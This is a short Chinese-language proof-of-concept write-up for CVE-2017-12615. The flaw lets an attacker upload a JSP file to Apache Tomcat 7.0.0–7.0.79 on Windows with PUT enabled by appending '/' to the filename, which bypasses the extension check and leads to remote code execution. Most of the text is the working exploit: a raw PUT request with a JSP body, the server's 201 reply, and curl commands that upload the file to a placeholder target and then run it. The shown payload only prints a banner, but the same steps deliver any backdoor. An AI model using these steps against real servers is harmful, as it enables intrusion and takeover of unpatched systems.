在Windows上运行的Apache Tomcat 7.0.0至7.0.79的POC漏洞利用;CVE-2017-12615 PUT JSP漏洞。
根据设计,不允许通过PUT方法向Apache Tomcat服务器上传JSP文件。 这很可能是一项安全措施,防止攻击者上传JSP后门并在服务器上获取远程代码执行权限。 然而,由于检查不充分,攻击者可以在启用了PUT的7.0.{0至79} Tomcat服务器上,通过使用特制的HTTP请求请求PUT方法,获取远程代码执行权限。但是说真的,特殊?拜托。
在文件名扩展名后附加一个'/'字符,可以绕过文件扩展名检查。就这么简单。所以,其实并没有那么特殊。
PUT /myfile.jsp/
Host: domain-name:port
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:36:36 GMT
Connection: close
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
curl http://target-host-or-ip-address:port/test.jsp